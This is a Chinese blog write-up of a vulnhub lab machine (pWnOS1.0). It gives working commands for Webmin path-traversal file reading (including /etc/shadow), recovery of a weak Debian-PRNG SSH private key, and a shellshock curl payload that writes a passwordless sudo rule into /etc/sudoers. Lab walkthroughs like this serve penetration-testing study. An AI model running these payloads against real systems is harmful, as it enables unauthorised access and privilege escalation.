红队打靶:pWnOS1.0打靶思路详解之ssh私钥破解+shellshock漏洞提权

目录

写在开头

第一步:主机发现与端口扫描

第二步:ssh敏感文件Authorized_keys获取与poc获取

第三步:私钥穷举

第四步:使用私钥免密登录SSH

第五步:shellshock漏洞提权

总结与思考

写在开头

 本篇博客根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。本文的打靶过程涉及到关于webmin任意文件泄露、ssh私钥碰撞、shellshock漏洞提权等。完整打靶思路详见:

「红队笔记」靶机精讲:pWnOS1.0 - 选择hard模式再次用完全不同的方法实现这台靶机的渗透测试。_哔哩哔哩_bilibili

有关webmin任意文件泄露漏洞的利用方式已在上一篇博客中详解过,详情见

红队打靶:pWnOS1.0打靶思路详解之webmin漏洞利用(vulnhub)

 靶机的下载与主机发现、端口扫描等步骤在上篇博客中已经详解过,本文不再复述。顺道一提,我感觉这个靶机的这种思路挺有趣的,就是难免遇到Bug,无论是ssh私钥的碰撞过程还是shellshock的漏洞利用过程的遇到了各种问题。看红队笔记打靶举重若轻,自己哪怕是照着复现都整了大半天。

第一步:主机发现与端口扫描

 上一篇写过了,见上文链接。

第二步:ssh敏感文件Authorized_keys获取与poc获取

perl 2017.pl 10.10.10.130 10000 /home/vmware/.ssh/authorized_keys 0 

 读取的文件内容是:

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZbMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLgJB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw== vmware@ubuntuvm

 可尝试针对这个公钥,找到私钥,实现免密登录。为啥这个私钥能被我们找到呢?因为恰巧这个版本的openssh存在的漏洞,可能的私钥只有端口号65535个,才可以被穷举出来。这个版本的openssh用了伪随机数获取密钥,我们可以用伪随机数生成器prng(pseudo random number generator)进行私钥的破解。

searchsploit prng 

searchsploit prng -m 5622.txt

 查看一下cat 5622.txt 

 然后我们wget下来:

可恶,怎么404了?最后通过我一系列的寻找,发现github上这个项目的位置改了,变为了bin-sploits/5622.tar.bz2 · main · Exploit-DB / Binary Exploits · GitLab 

因此我们的命令是:

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/tree/main/bin-sploits/5622.tar.bz2

 然后解压缩,理论上只要运行如下命令即可:

tar -jxvf 5622.tar.bz2

如果读者到这一步成功解压,那么祝贺你免去了许多麻烦,下面这个插叙你可以忽略。


插叙一下,我解压这个压缩文件的时候报错:

ip2: (stdin) is not a bzip2 file.

tar: Child returned status 2

tar: Error is not recoverable: exiting now

 真是服了,他尽然说我这个.bz3文件不是bzip2文件。一番尝试解压无果后,我选择摆烂,用物理机windows解压,然后再把解压后的文件打包为5622.zip文件,再把5622.zip传到kali中,再在kali中用unzip解压,绕了个大圈终于把这个文件解压了,里面是个目录rsa/2048。不过我的这个方法貌似为后面的ssh登录报错埋下了祸根,读者可以接着往后看。

插叙结束。 


  解压之后,rsa/2048里面的内容如下,一大堆公钥私钥对。

 第三步:私钥穷举

下面我们根据公钥Authorized_keys寻找私钥。首先还是用2017.pl搜索ssh公钥文件(第二步中已经提到):

perl 2017.pl 10.10.10.130 10000 /home/vmware/.ssh/authorized_keys 0

 寻找到vmware用户的ssh登录公钥是:

AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEOo9FNkoilHAgvQuiE5Wy9DwYVfLrkkcDB2uubtMzGw9hl3smD/OwUyXc/lNED7MNLS8JvehZ
bMJv1GkkMHvv1Vfcs6FVnBIfPBz0OqFrEGf+a4JEc/eF2R6nIJDIgnjBVeNcQaIM3NOr1rYPzgDwAH/yWoKfzNv5zeMUkMZ7OVC54AovoSujQC/VRdKzGRhhLQmyFVMH9v19UrLg
JB6otLcr3d8/uAB2ypTw+LmuIPe9zqrMwxskdfY4Sth2rl6D3bq6Fwca+pYh++phOyKeDPYkBi3hx6R3b3ETZlNCLJjG7+t7kwFdF02Iuw==

接下来,我们在rsa/2048中寻找包含上述字符串的文件,复制上述公钥中的前三四十个字符,用grep搜索即可:

grep -lr 'AAAAB3NzaC1yc2EAAAABIwAAAQEAzASM/LKs+FLB7zfmy14qQJUrsQsEO'

-l表示显示文件名,-r表示递归搜索,成功搜到了对应的公钥文件,名为d8629ce6dc8f2492e1454c13f46adb26-4566.pub,cat一下,这个公钥果然与vmware的ssh登录的authorized_keys的相同。

 然后我们把这个文件的私钥复制出来,私钥就是不带.pub后缀的文件,可以直接搜到。

ls -liah rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566*

 我们把这个d8629ce6dc8f2492e1454c13f46adb26-4566文件复制到当前目录:

cp rsa/2048/d8629ce6dc8f2492e1454c13f46adb26-4566 ./ 

 第四步:使用私钥免密登录SSH

接下来,我们尝试使用这个私钥登录ssh登录vmware账号,试试能否实现免密登录,命令如下

ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 [email protected] 

 报错了,没有匹配的host key,老问题,第一次出现是在红队打靶:LampSecurity:CTF4打靶思路详解(vulnhub)的第四步中,读者如果不了解可以移步这篇博客,也可以直接继续往下看。我们只需要添加参数-oHostKeyAlgorithms=ssh-rsa,ssh-dss即可,命令如下:

ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 [email protected] -oHostKeyAlgorithms=ssh-rsa,ssh-dss 

 如上图,可恶,怎么还问我们要密码?难道不能用私钥登录吗?据红队笔记大佬所述,此时可以添加参数-vv显示ssh登录时的详细信息:

ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 [email protected] -oHostKeyAlgorithms=ssh-rsa,ssh-dss -vv 

调试信息有一大堆,核心问题如下:

 大概就是说没有共同的签名支持,是密钥算法的问题,我们可以添加参数-oPubkeyAcceptedKeyTypes=ssh-rsa,ssh-dss解决这个问题。等号右边的内容是根据第一次报错的their offer提供的。

ssh -i d8629ce6dc8f2492e1454c13f46adb26-4566 [email protected] -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oPubkeyAcceptedKeyTypes=ssh-rs
a,ssh-dss

 免密登录成功了!我们成功获得了vmware账号的shell,拿到了初始立足点。


插叙一下。我这里登录的时候又遇到了问题,可能与我5622.tar.bz2的解压方式不对有关。登录的时候会有如下的报错:

 出现了一个warning,说我的私钥文件太open了,私钥应该是不能被其他人读取的。本次登录的私钥将会被忽略,不好的许可,然后就没办法登录。

这应该是说我的这个私钥文件的权限有点问题,回看一下权限:

 所在组和其他组的用户都有读r权限,这是不符合私钥的约定的,因此我修改了权限,将权限设置为了600,也就是所在组和其他组的用户没有任何权限

chmod 600 d8629ce6dc8f2492e1454c13f46adb26-4566 

 修改了权限之后,用私钥登录就应该没有问题了。插叙结束。


第五步:shellshock漏洞提权

 拿到shell之后,想办法进行提权。上一篇博客使用的是利用了2017.pl的任意文件泄露漏洞,是我们可以以高权限访问并触发代码执行从而造成提权,详情见上一篇博客的提权步骤。本文也利用了这个漏洞,不过我们这次还利用了bash的shellshock漏洞。第一次介绍shellshock是在红队打靶:SickOS1.1详细打靶思路之shellshock漏洞利用(vulnhub)

shellshock漏洞通常存在于版本<4.3的bash中,拿到初始shell后我们可以查看shell的版本:

bash --version

 是3.2.25,远低于4.3,那么很可能是存在漏洞的,我们可以输入如下的命令进行验证:

env='() { :; }; echo "shellshock is here"' bash -c date

 如果成功echo了shellshock is here,就说明漏洞存在,如上图,确实存在漏洞。然后我们要创建一个.cgi文件,内容就是#!/bin/bash,这个cgi文件可以启动bash,一会我们通过任意文件泄露漏洞触发这个cgi文件的执行,也就是启动有shellshock漏洞的bash。先vim创建这个文件,起名为shellshockexp.cgi:

 然后再给这个shellshockexp.cgi文件添加执行权限:

chmod +x shellshockexp.cgi

 下一步我们需要触发这个shellshockexp.cgi执行,如果单纯为了触发代码执行,可以通过2017.pl的任意文件泄露的exp。但是由于我们还要同时利用shellshock漏洞,利用shellshock漏洞是需要修改请求头的,因此可能单纯使用这个2017.pl的脚本不够方便。我们不妨查看2017.pl的源代码,看看其中的任意文件泄露漏洞的利用逻辑,然后自己构造使得shellshockexp.cgi代码执行的请求包

以下是2017.pl的漏洞利用脚本的部分代码:

 虽然我也不懂perl语言,但显然,这段代码的逻辑就是通过以下的进行文件读取的(源代码给了40个/..%01,我没写那么多):

http://10.10.10.130:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/泄露文件的路径

 我们可以试试能不能通过浏览器访问上述url,读取到/etc/shadow,链接为:

http://10.10.10.130:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow

 还真可以!那我们不需要2017.pl了,直接通过curl请求即可读取文件,并触发shellshockexp.cgi文件的执行。使用curl请求触发shellshockexp.cgi文件执行的同时,还要在主机头中(user-agent)加入shellshock的漏洞利用代码,完整curl命令如下:

curl 'http://10.10.10.130:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shellshockexp.cgi'  -A '() { :; }; /bin/echo "vmware ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers'

 其中-A参数用于添加user-agent字段,填入我们shellshock漏洞利用的payload,其中() { :; };是shellshock漏洞利用的固定部分,后面的语句相当于在靶机的权限管理文件/etc/sudoers中写入了一行语句vmware ALL=(ALL)NOPASSWD:ALL,这行语句相当于将vmware用户的权限设置为ALL,并设置无需密码(否则当执行高权限的指令时还需要vmware用户的密码)。运行如下:

 报了个小错,不过无关紧要。现在我们回到vmware的shell中,此时由于靶机的权限管理文件/etc/sudoers中已经被写入了vmware ALL=(ALL)NOPASSWD:ALL,因此vmware这个用户的shell的权限应该是ALL了,我们运行sudo -l查看权限:

 如上图,正是我们利用shellshock漏洞的结果。因此此时只要启动root权限的bash即可提权:

sudo -l

 非常完美!成功提权为了root。至此打靶成功。

总结与思考

拿到root权限后,我们可以查看/etc/sudoers:

cat /etc/sudoers

 果然,我们通过shellshock漏洞,在/etc/sudoers这个文件写入了一行语句,使得vmware用户的权限设置为了ALL。

这个靶机打下来感觉还是很有逻辑,不过私钥爆破的时候其实是利用了特定版本的openssl的漏洞,只有65535种可能的私钥,这才能爆破出来,一般情况是没有这个漏洞的。至于shellshock的漏洞往往存在bash版本小于4.3的情况,本文正是先发现靶机的linux内核版本过低,很可能bash版本也很低,因此想到shellshock漏洞利用shellshock漏洞的payload是在user-agent中添加的,也可以使用工具burpsuite实现,但秉承尽量不适用图形化工具的原则,使用curl命令的方法更为直观。

在红队笔记的视频中,还介绍了敏感信息搜索的方法,github上有具体的txt文件,这篇博客就不介绍了。同时还有内核提权的方法,本文也不详述了,回头打的靶机多了,可以总结一个思路出来,敬请期待。

最后总结一下这种方法的打靶过程:

1.主机发现和端口扫描

2.webmin任意文件泄露漏洞利用,读取ssh相关的敏感文件/home/vmware/.ssh/authorized_keys,结合存在漏洞版本的openssh,对私钥进行碰撞爆破,找到了私钥。

3.用私钥实现免密登录vmware账号的ssh。其中涉及到ssh登录的一些参数。

4.shellshock漏洞提权:利用了存在漏洞的bash,通过curl触发shellshock.cgi文件执行,启动有问题的bash,并在user-agent头部添加shellshock漏洞利用的payload,在/etc/sudoers中添加了一行代码,使得vmware账号的权限为ALL。

打靶过程还是遇到了很多问题,这个靶机连带打靶和博客总结,整了大半天。一个小问题就有可能卡很久,这是很正常的,我也应该告诉自己不要着急,放平心态。写博客不易,希望读者多多点赞关注支持,如有疑问也可以评论区指出,我一定知无不言。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131484763
今日推荐